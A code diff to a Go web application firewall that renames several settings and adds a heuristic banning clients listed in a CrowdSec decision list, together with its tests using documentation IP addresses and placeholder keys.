@@ -150,9 +147,9 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
})
geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
allowedCountries: "de",
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
allowedCountries: "de",
})
req := newRequest(
@@ -201,10 +198,10 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
allowedCountries: "de",
rateLimitPerMinute: "1",
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
allowedCountries: "de",
rateLimitPerMinute: "1",
})
request := func() answer {
@@ -242,10 +239,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
name string
env map[string]string
}{
{
"no setting needs the lookup",
map[string]string{addLookupHeaders: falseValue},
},
{"no setting needs the lookup", nil},
{"a tag setting needs it", map[string]string{tagDeny: denyKP}},
} {
t.Run(tc.name, func(t *testing.T) {
@@ -254,8 +248,8 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, asked := startGeoJS(t)
env := map[string]string{
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
}
maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -358,11 +352,10 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
// each in an AS of its own, and no other address. It returns its URL, and
// what returns the addresses it has been asked about. A test that needs
// the stand-in to be asked or to answer sets
// SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS to an hour, whether or not a
// request waits for the answer: on the default, a hold-up of the test
// process can abandon the request to the stand-in, and leave the client
// unknown.
// the stand-in to be asked or to answer sets SWW_WAF_LOOKUP_TIMEOUT to an
// hour, whether or not a request waits for the answer: on the default, a
// hold-up of the test process can abandon the request to the stand-in, and
// leave the client unknown.
func startGeoJS(t *testing.T) (string, func() []string) {
t.Helper()
+54
View File
@@ -0,0 +1,54 @@
package waf
// The heuristic crowdsec. It reads SWW_WAF_CROWDSEC_LAPI_URL, and the decisions
// through the reputation lists.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// crowdSec refuses a request when a decision of the CrowdSec decision list on
// the client is in force at now. It then adds the tag crowdsec, notes the
// list, as noteHit does, and bans the client until that decision ends. Its
// figures are the decision's scenario and when it ends.
type crowdSec struct{}
func (crowdSec) name() string { return "crowdsec" }
func (crowdSec) check(
_ context.Context,
rq *request,
now time.Time,
) *verdict {
decision, listed := rq.crowdSecDecisionInForce(now)
if !listed {
return nil
}
rq.addTag(config.CrowdSecTag)
rq.noteHit(bans.ReputationHit{Source: rq.h.config.CrowdSecDecisionsURL},
"listed by the CrowdSec decision list")
return &verdict{
action: rq.banForCrowdSec(now, decision),
figures: map[string]any{
"scenario": decision.Scenario,
"expires": requestlog.FormatTime(decision.Expires),
},
}
}
// crowdSecDecisionInForce returns the decision of the CrowdSec decision list on
// the client that is in force at now, and reports whether there is one, which
// the heuristic crowdsec refuses the request for.
func (rq *request) crowdSecDecisionInForce(
now time.Time,
) (reputation.Decision, bool) {
return rq.h.lists.CrowdSecDecision(rq.client, now)
}
+249
View File
@@ -0,0 +1,249 @@
package waf_test
import (
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// The CrowdSec settings, and the tests' engine, which is never asked: each
// test puts in the copy of its decision list, at decisionsURL, that it
// needs, as lists.json would at start.
const (
crowdSecURL = "SWW_WAF_CROWDSEC_LAPI_URL"
crowdSecKey = "SWW_WAF_CROWDSEC_LAPI_KEY"
lapi = "http://crowdsec.example:8080"
decisionsURL = lapi + "/v1/decisions"
bouncerKey = "crowdsec-key-0123456789abcdef"
)
func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(
t *testing.T,
) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey, metricsToken: token,
})
// client had four hours left on its decision as the engine answered.
fetched := clk.Now()
loadDecisions(t, server, fetched, `[{"duration": "4h0m0s", `+
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
// Its first request is refused, and bans it until the decision ends.
banned := requestlog.ActionTemporarilyBanned
line := s.get(client, http.StatusForbidden, banned)
wantReputation(t, line, decisionsURL)
if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s",
line.BanExpires, expires)
}
listed := []bans.ReputationHit{{Source: decisionsURL}}
held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
!held[0].Start.Equal(fetched) ||
!held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
t.Fatalf(
"bans %+v, want one for crowdsec of four hours, with the list and "+
"the request in its notes",
held,
)
}
// The listing raises a reputation_hit alert, and the ban its own.
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
waiting[0].Reason != "listed by the CrowdSec decision list" ||
!reflect.DeepEqual(
waiting[1],
banAlert(alerts.EventBan, fetched, client, held[0],
expires),
) {
t.Errorf(
"alerts waiting %+v, want a reputation_hit alert, then the ban's",
waiting,
)
}
// Each request while the ban lasts is refused under it, as under any
// ban, and once it has ended the client is let through.
clk.advance(4*time.Hour - time.Second)
line = s.get(client, http.StatusForbidden, banned)
wantReputation(t, line)
if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s",
line.BanExpires, expires)
}
clk.advance(time.Second)
s.get(client, http.StatusOK, requestlog.ActionForward)
// The ban and the hit are counted, and the list has the metrics of any
// list fetched from a URL.
metrics := s.scrape()
labels := `{instance="` + alertInstance + `",source="` + decisionsURL + `"}`
wantMetric(t, metrics, `sww_bans_made_total{cause="crowdsec",`+
`instance="`+alertInstance+`"}`, 1)
wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1)
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
wantMetric(
t,
metrics,
"sww_reputation_last_fetch_timestamp_seconds"+labels,
float64(fetched.Unix()),
)
}
func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
t.Parallel()
s, clk, server, _ := startWithAlerts(t, map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey,
})
loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
line := s.get(
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
wantHeuristic(
t,
line,
"crowdsec",
`{"scenario": "crowdsecurity/ssh-bf", `+
`"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`,
)
wantTags(t, line, "crowdsec")
}
func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(
t *testing.T,
) {
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey,
})
// 198.51.100.0/24 and 2001:db8::9 had a minute left as the engine
// answered.
fetched := clk.Now()
loadDecisions(t, server, fetched, `[{"duration": "1m0s", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Range", "type": "ban", `+
`"value": "198.51.100.0/24"}, {"duration": "1m0s", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Ip", "type": "ban", `+
`"value": "2001:db8::9"}]`)
// Just before its end, the decision bans a client in the netblock, and
// one on an IPv6 address bans the address's group, the /64.
clk.advance(time.Minute - time.Nanosecond)
s.get(
"198.51.100.7",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
s.get(
"2001:db8::9",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
s.get(
"2001:db8::5",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
// Once it has ended, it bans no other client, and the bans it made end
// with it.
clk.advance(time.Nanosecond)
for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
wantReputation(
t,
s.get(from, http.StatusOK, requestlog.ActionForward),
)
}
if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
t.Errorf(
"%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
"2001:db8::/64",
made,
)
}
if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(
held,
) != 1 {
t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
}
}
func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
t *testing.T,
) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey, mode: observe,
})
loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
wantReputation(t, line, decisionsURL)
if held := server.Ledger.Snapshot(); len(held) != 0 {
t.Errorf("bans %+v, want none", held)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
waiting[1].Detail["mode"] != observe {
t.Errorf(
"alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
"marked observe",
waiting,
)
}
}
// loadDecisions puts into server's lists the copy of the decision list at
// decisionsURL, answer, the engine's answer, fetched at fetched, as
// lists.json would at start.
func loadDecisions(
t *testing.T, server *waf.Server, fetched time.Time, answer string,
) {
t.Helper()
err := server.Lists.Load([]reputation.List{{
URL: decisionsURL, Tried: fetched, Fetched: fetched, Lines: []string{answer},
}})
if err != nil {
t.Fatalf("load the decision list: %v", err)
}
}
+3 -3
View File
@@ -1,6 +1,6 @@
package waf
// The heuristic dnsbl. It reads SWW_WAF_DNSBL_ABUSEIPDB_ACTION, and the DNSBL zones'
// The heuristic dnsbl. It reads SWW_WAF_REPUTATION_ACTION, and the DNSBL zones'
// verdicts through the DNSBL checker.
import (
@@ -14,7 +14,7 @@ import (
// dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed
// does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses
// the request when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny. Being
// the request when SWW_WAF_REPUTATION_ACTION is deny. Being
// limit, it lowers the client's limits instead (see limitPercentages), and
// being log, it does nothing more. A zone without a verdict on the client is
// asked about it in the background, and the request does not wait for the
@@ -32,7 +32,7 @@ func (dnsbl) check(ctx context.Context, rq *request, _ time.Time) *verdict {
rq.addTag(config.DNSBLTagPrefix + strings.ToLower(zone))
}
if !rq.dnsblListed || rq.h.config.DNSBLAbuseIPDBAction != deny {
if !rq.dnsblListed || rq.h.config.ReputationAction != deny {
return nil
}
+2 -1
View File
@@ -7,7 +7,7 @@ import (
// To add a heuristic, write one file with a type that implements heuristic,
// and add one line for it to one of the lists below. Its settings go in
// config.WAF, and the comment at the top of its file names them.
// config.Config, and the comment at the top of its file names them.
// heuristic is one of the checks that decide what waf does with a
// request.
@@ -60,6 +60,7 @@ func afterLookup() []heuristic {
return []heuristic{
countries{},
blocklists{},
crowdSec{},
dnsbl{},
abuseIPDB{},
tagDeny{},
+3 -3
View File
@@ -18,9 +18,9 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000",
rateLimitPerMinute: "2",
tagDeny: denyKP,
lookupTimeout: "1h",
rateLimitPerMinute: "2",
tagDeny: denyKP,
})
start := clk.Now()
+1 -1
View File
@@ -12,7 +12,7 @@ import (
)
// The headers in which an answer of allow gives rproxy the client's AS number
// and country, for the app, while SWW_WAF_ADD_LOOKUP_HEADERS is true. Go writes
// and country, for the app, while SWW_WAF_ADD_LOOKUP_HEADERS is set. Go writes
// every header name in this form, as it sends it and as it receives it, so
// X-Client-ASN arrives as X-Client-Asn; header names are not case-sensitive.
const (
+11 -18
View File
@@ -5,7 +5,6 @@ import (
"net/netip"
"path/filepath"
"slices"
"strconv"
"sync"
"testing"
"testing/synctest"
@@ -35,9 +34,8 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
// waitLimit.
geojsURL, asked, release := startHeldGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000",
addLookupHeaders: falseValue,
rateLimitPerMinute: "1",
lookupTimeout: "1h",
rateLimitPerMinute: "1",
})
// fromDE's second request breaks the limit and bans it, and fromKP
@@ -106,9 +104,9 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)}
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
map[string]string{
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
tagDeny: denyKP,
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
tagDeny: denyKP,
})
requestFromDE := func() *http.Request {
@@ -366,9 +364,9 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
geojsURL,
time.Now,
map[string]string{
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
addLookupHeaders: on,
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
addLookupHeaders: on,
},
)
s := &sender{t: t, addr: addr, out: out}
@@ -419,7 +417,7 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
geojsURL,
time.Now,
map[string]string{
trustedProxies: trustLocalhost, addLookupHeaders: falseValue,
trustedProxies: trustLocalhost,
},
)
s := &sender{t: t, addr: addr, out: out}
@@ -439,9 +437,7 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
}
}
func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays(
t *testing.T,
) {
func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
t.Parallel()
// The test runs in a synctest bubble, where the time package runs on a
@@ -456,10 +452,7 @@ func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays(
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
map[string]string{
asnAndCountryLookupTimeout: strconv.FormatInt(
timeout.Milliseconds(), 10),
// Off, so that only the country list makes the request wait.
addLookupHeaders: falseValue,
lookupTimeout: timeout.String(),
allowedCountries: "DE",
})
+16 -18
View File
@@ -18,8 +18,7 @@ import (
const (
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
metricsBusiestCountriesAndASNs = "SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS"
metricsTopN = "SWW_WAF_METRICS_TOP_N"
// token is the SWW_WAF_METRICS_TOKEN the tests set, and bearer how a
// request carries it.
token = "0123456789abcdef0123456789abcdef"
@@ -134,12 +133,12 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
s, clk, _ := startWithClock(t, "", map[string]string{
metricsToken: token,
rateLimitPerMinute: "1",
denyNets: denied,
banResponse: banResponseClose,
limitBanDuration: "1h",
limitBanPermanentAbove: "2h",
metricsToken: token,
rateLimitPerMinute: "1",
denyNets: denied,
banResponse: banResponseClose,
limitBanDuration: "1h",
maxBanDuration: "2h",
})
// SWW_WAF_BAN_RESPONSE=close sends no status at all.
@@ -177,7 +176,7 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0)
// A limit broken again right after would ban for three hours, longer
// than SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE, so the ban is permanent.
// than SWW_WAF_MAX_BAN_DURATION, so the ban is permanent.
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, 0, requestlog.ActionClientIsRateLimited)
@@ -237,10 +236,10 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
_, _ = io.WriteString(w, "hello")
})
env := map[string]string{
trustedProxies: trustLocalhost,
metricsToken: token,
metricsBusiestCountriesAndASNs: "2",
allowedCountries: "de,fr",
trustedProxies: trustLocalhost,
metricsToken: token,
metricsTopN: "2",
allowedCountries: "de,fr",
}
geojsURL, _ := startGeoJS(t)
addr, out, server := startProxyWithClock(t, app.URL, geojsURL,
@@ -323,8 +322,8 @@ func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
metricsToken: token,
metricsBusiestCountriesAndASNs: "1",
metricsToken: token,
metricsTopN: "1",
})
// The answers are kept before the requests, so that GeoJS gives none
@@ -380,9 +379,8 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
req.Header.Set(forwardedFor, fromDE)
wantStatus(t, do(t, req), http.StatusOK)
// The client stops waiting for GeoJS once
// SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS is up, so GeoJS's failure can
// come after its request has ended.
// The client stops waiting for GeoJS once SWW_WAF_LOOKUP_TIMEOUT is up, so
// GeoJS's failure can come after its request has ended.
deadline := time.Now().Add(waitLimit)
metrics := scrape(t, server.Addr)
+4 -4
View File
@@ -149,10 +149,10 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
geojsURL, _ := startGeoJS(t)
env := map[string]string{
asnAndCountryLookupTimeout: "3600000",
rateLimitPerMinute: "1",
denyNets: denied,
tagDeny: denyKP,
lookupTimeout: "1h",
rateLimitPerMinute: "1",
denyNets: denied,
tagDeny: denyKP,
}
if tc.setting != "" {
+29 -39
View File
@@ -47,7 +47,7 @@ const ClientsPath = "/_sww/clients/"
// Params are what New needs.
type Params struct {
Config *config.WAF
Config *config.Config
// RequestLog receives two JSON lines per question, one at its decision and
// one when its report comes, and one per request to waf's own
// endpoints.
@@ -75,9 +75,9 @@ type Params struct {
Rules *rules.Files
// Alerts receive the alert for each ban waf makes or makes
// permanent, for each count over an anomaly threshold, for each request
// whose client a blocklist, a DNSBL zone or AbuseIPDB lists, for each
// request the Core Rule Set scores at or over
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, and for GeoJS failing, a fetch of a list
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
// or the day's AbuseIPDB checks used up.
Alerts *alerts.Queue
@@ -106,10 +106,7 @@ type Server struct {
// newHandler returns the handler with what every request shares, as the
// settings in params make it.
func newHandler(params Params) *handler {
m := metrics.New(
params.Config.MetricsBusiestCountriesAndASNs,
params.Config.InstanceName,
)
m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName)
lists, dnsbl, abuseIPDB := newReputation(params, m)
awaitingReport, err := lru.New[string, *decision](maxAwaitingReport)
@@ -133,21 +130,21 @@ func newHandler(params Params) *handler {
BytesPerDay: params.Config.BytesLimitPerDay,
}, params.Config.MaxTrackedClients),
ledger: bans.New(bans.Params{
LimitBanDuration: params.Config.LimitBanDuration,
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
LimitBanPermanentAbove: params.Config.LimitBanPermanentAbove,
AttackBanDuration: params.Config.AttackBanDuration,
MaxBans: params.Config.MaxBans,
LimitBanDuration: params.Config.LimitBanDuration,
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
MaxBanDuration: params.Config.MaxBanDuration,
AttackBanDuration: params.Config.AttackBanDuration,
MaxBans: params.Config.MaxBans,
}),
anomalies: anomaly.New(anomaly.Params{
Client: params.Config.AnomalyClient,
Net: params.Config.AnomalyNet,
ASN: params.Config.AnomalyASN,
Total: params.Config.AnomalyTotal,
WatchedNet: params.Config.AnomalyWatchedNet,
Watch: params.Config.AnomalyWatch,
NetV4Prefix: params.Config.AnomalyNetV4Prefix,
NetV6Prefix: params.Config.AnomalyNetV6Prefix,
NamedNetblocks: params.Config.AnomalyWatchedNets,
NamedNetblocks: params.Config.WatchNets,
Alerts: params.Alerts,
}),
lookupFile: params.LookupFile,
@@ -166,7 +163,7 @@ func newHandler(params Params) *handler {
h.geojs = lookup.New(lookup.Params{
URL: params.GeoJSURL,
Timeout: params.Config.ASNAndCountryLookupTimeout,
Timeout: params.Config.LookupTimeout,
// The country list, the headers, the tag settings that name an asn=
// or country= tag and the biased thresholds act on the answer before
// the request goes on.
@@ -194,24 +191,21 @@ func newReputation(
) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) {
cfg := params.Config
lists := reputation.New(reputation.Params{
BlocklistURLs: cfg.BlocklistURLs,
Refresh: cfg.BlocklistRefresh,
ASNLimitPercentURL: cfg.ASNLimitPercentURL,
TagLists: cfg.TagLists,
Now: params.Now,
ProcessLog: params.ProcessLog,
Alerts: params.Alerts,
BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh,
ASNLimitPercentURL: cfg.ASNLimitPercentURL,
TagLists: cfg.TagLists,
CrowdSecDecisionsURL: cfg.CrowdSecDecisionsURL, CrowdSecKey: cfg.CrowdSecKey,
Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
})
dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver,
CacheTTL: cfg.IPReputationCacheTTL,
Timeout: cfg.DNSBLAbuseIPDBTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL,
Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
Alerts: params.Alerts,
})
abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore,
DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.IPReputationCacheTTL,
Timeout: cfg.DNSBLAbuseIPDBTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.ReputationCacheTTL,
Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
Alerts: params.Alerts,
})
@@ -226,7 +220,7 @@ func newReputation(
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL,
// without the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off, reading bodies
// up to SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE, with the exclusions in
// up to SWW_WAF_CORE_RULE_SET_BODY_LIMIT, with the exclusions in
// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_WAF_APPS,
// or nil while SWW_WAF_CORE_RULE_SET_MODE is off. It
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
@@ -234,19 +228,15 @@ func newReputation(
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
// an error in every mode. While the mode is off, a set file is loaded with the
// Core Rule Set only to check it.
func NewCoreRuleSet(cfg *config.WAF) (*coreruleset.CoreRuleSet, error) {
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff &&
func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
if cfg.WAFMode == config.WAFModeOff &&
cfg.CoreRuleSetExclusionsFile == "" {
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
}
coreRuleSet, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: cfg.CoreRuleSetParanoiaLevel,
DisabledRules: cfg.CoreRuleSetDisabledRules,
BodyInspectionSize: min(
cfg.CoreRuleSetBodyInspectionSize,
QuestionBodyMaxBytes-1,
),
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
Apps: cfg.Apps,
})
@@ -257,7 +247,7 @@ func NewCoreRuleSet(cfg *config.WAF) (*coreruleset.CoreRuleSet, error) {
)
}
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff {
if cfg.WAFMode == config.WAFModeOff {
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
}
@@ -267,7 +257,7 @@ func NewCoreRuleSet(cfg *config.WAF) (*coreruleset.CoreRuleSet, error) {
// handler is waf's handler. It holds what every request shares; what
// belongs to one request is in a request.
type handler struct {
config *config.WAF
config *config.Config
requestLog io.Writer
processLog *slog.Logger
now func() time.Time
+37 -43
View File
@@ -56,35 +56,35 @@ const (
// The settings the tests set.
const (
mode = "SWW_WAF_MODE"
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS"
allowNets = "SWW_WAF_ALLOW_NETS"
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWW_WAF_DENY_NETS"
rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE"
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS"
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
asnAndCountryLookupTimeout = "SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS"
addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS"
tagDeny = "SWW_WAF_TAG_DENY"
mode = "SWW_WAF_MODE"
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS"
allowNets = "SWW_WAF_ALLOW_NETS"
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWW_WAF_DENY_NETS"
rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE"
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS"
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
lookupTimeout = "SWW_WAF_LOOKUP_TIMEOUT"
addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS"
tagDeny = "SWW_WAF_TAG_DENY"
// denyKP is the value of SWW_WAF_TAG_DENY that refuses fromKP's country.
denyKP = "country=KP"
allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
banResponse = "SWW_WAF_BAN_RESPONSE"
limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION"
limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW"
limitBanPermanentAbove = "SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE"
maxBans = "SWW_WAF_MAX_BANS"
banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
instanceName = "SWW_WAF_INSTANCE_NAME"
logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS"
attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION"
ruleFilesDir = "SWW_WAF_RULE_FILES_DIR"
coreRuleSetMode = "SWW_WAF_CORE_RULE_SET_MODE"
denyKP = "country=KP"
allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
banResponse = "SWW_WAF_BAN_RESPONSE"
limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION"
limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW"
maxBanDuration = "SWW_WAF_MAX_BAN_DURATION"
maxBans = "SWW_WAF_MAX_BANS"
banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
instanceName = "SWW_WAF_INSTANCE_NAME"
